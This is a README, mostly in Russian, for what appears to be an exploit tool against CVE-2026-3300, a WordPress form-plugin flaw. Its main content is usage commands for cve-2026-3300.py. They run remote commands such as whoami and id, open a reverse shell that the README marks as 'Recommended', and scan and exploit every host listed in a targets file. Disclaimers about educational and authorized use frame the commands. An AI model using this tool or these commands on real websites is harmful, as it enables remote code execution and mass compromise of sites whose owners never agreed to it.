CVE-2026-3300 - Wordpress

⚡ Простое использование

Используйте этот проект только в безопасных и авторизованных средах, например:

• Локальные виртуальные машины
• Контейнеры Docker
• Изолированные лабораторные среды
• Авторизованные среды тестирования на проникновение

Пример настройки:

git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

Пример использования:

# Normal command execution
python cve-2026-3300.py http://localhost --mode poc -c "whoami"

# Try different payload types
python cve-2026-3300.py http://localhost --mode poc -p passthru -c "id"

# Reverse Shell (Recommended)
python cve-2026-3300.py http://localhost --mode reverse --listen 4444

# Scan all targets
python cve-2026-3300.py --file targets.txt --mode scan

# Exploit all targets
python cve-2026-3300.py --file targets.txt --mode exploit -c "whoami"

# Reverse shell (single target)
python cve-2026-3300.py --file targets.txt --mode reverse -l 4444

# Test with common field names
python cve-2026-3300.py http://target.com --mode exploit --field text_1 -c "whoami"
python cve-2026-3300.py http://target.com --mode exploit --field email -c "id"

# Reverse shell
python cve-2026-3300.py http://target.com --mode reverse --field text_field -l 4444

Авторство и ссылки

• https://www.wordfence.com/blog/2026/06/attackers-actively-exploiting-critical-vulnerability-in-everest-forms-pro-plugin/
• https://thehackernews.com/2026/06/hackers-exploit-critical-everest-forms.html
• https://sansec.io/research/stripe-api-skimmer-infrastructure

📚 Образовательный репозиторий для исследований в области безопасности

Репозиторий для изучения, тестирования и исследования концепций кибербезопасности в контролируемых средах.

⚠️ Отказ от ответственности и правовая информация

Назначение

Этот репозиторий предназначен только для образовательных и авторизованных исследований в области безопасности.

Он предназначен для изучения:

• Уязвимостей безопасности
• Концепций песочницы и изоляции
• Безопасного кодирования и защитных практик

Только авторизованное использование

Используйте этот репозиторий только в средах, где у вас есть разрешение, например:

• Личные лаборатории или виртуальные машины
• Docker или изолированные среды
• Авторизованное тестирование на проникновение
• Обучение кибербезопасности или академические исследования

Несанкционированное или незаконное использование строго запрещено.

Отсутствие ответственности

Автор и участники не несут ответственности за любой ущерб, неправомерное использование, юридические проблемы или убытки, вызванные этим проектом.

Используя этот репозиторий, вы соглашаетесь с тем, что:

• Вы несёте ответственность за свои действия
• Вы будете использовать его законно и этично
• Проект предоставляется без каких-либо гарантий

Этическое использование

Этот проект предназначен для:

• Исследований в области защитной безопасности
• Образования в сфере кибербезопасности
• Повышения осведомлённости об уязвимостях
• Исследований безопасных систем и программного обеспечения

Пожалуйста, следуйте практике ответственного раскрытия уязвимостей и соблюдайте все применимые законы.

Контакты

Для ответственного раскрытия уязвимостей или сотрудничества свяжитесь с сопровождающим репозитория через GitHub.